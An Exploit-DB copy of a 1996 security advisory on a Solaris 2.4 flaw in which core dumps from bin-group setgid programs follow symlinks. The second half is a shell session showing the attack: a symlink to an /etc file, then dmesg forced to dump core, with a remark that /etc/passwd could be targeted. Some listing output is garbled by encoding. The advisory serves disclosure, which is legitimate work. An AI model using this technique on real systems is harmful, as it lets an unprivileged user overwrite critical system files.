Solaris 7.0 - 'Coredump' File Write

EDB-ID:

19236




Platform:

Solaris

Date:

1996-08-03


source: https://www.securityfocus.com/bid/296/info

There is a vulnerability in the way Solaris 2.4 pre Jumbo Kernel Patch -35 (for SPARC) dumps core files. Under normal operation the operating system writes out a core image of a process when it is terminated due to the receipt of some signals. The core image is called core and is written in the process's working directory (provided it can be; normal access controls apply). A process with an effective user ID different from the real user ID will not produce a core image.

The problem in this instance is that because certian directories under Solaris 2.4 are 'group bin' writable you can force programs which are in the bin group to dump core. Then by using a symlink attack you can overwrite files in directories owned by bin. A series of system critical directories under Solaris 2.4 are writable by group bin.

What follows is an example attack, slightly modified from the origanal Bugtraq posting.

[cosmos:beren] uname -a
SunOS cosmos 5.4 Generic_101945-32 sun4m sparc
[cosmos:beren] ls -ald /etc
$)C
8 drwxrwxr-x 25 root sys 3584 7 ?y 25 @O 18:46 /etc/
[cosmos:beren] ls -ald /usr
2 drwxrwxr-x 30 root sys 1024 7 ?y 5 @O 17:26 /usr/
[cosmos:beren] ls -ald /usr/sbin
10 drwxrwxr-x 4 root bin 4608 5 ?y 18 @O 03:38 /usr/sbin/
[cosmos:beren] ls -ald /usr/sbin
10 drwxrwxr-x 4 root bin 4608 5 ?y 18 @O 03:38 /usr/sbin/

*NOTE* These directories are group bin writable.

[cosmos:beren] find /usr -perm -2000 \( -group sys -o -group bin \) ls

*NOTE* Here we look for programs which are in group bin so we can force them to dump core.

[cosmos:beren] ls -al /usr/sbin/dmesg
12 -r-xr-sr-x 1 bin sys 5520 1994 Jul 15 /usr/sbin/dmesg*

*NOTE* Here we identify dmesg(8) as being in the 'bin' group.

[cosmos:beren] ln -s /etc/SOMETHING core
[cosmos:beren] stty ^\^[cosmos:beren] pwd
/tmp
[cosmos:beren] dmesg
/* then slightly after u type this command kill it . using stty ^\^ there comes the following results */
^C (Core dumped)
[comos:beren] ls /etc/SOMETHING
SOMETHING


*NOTE* Here we link a random /etc/ file to core. In this instance we simply use SOMETHING as our random filename. You could just as easily use /etc/passwd.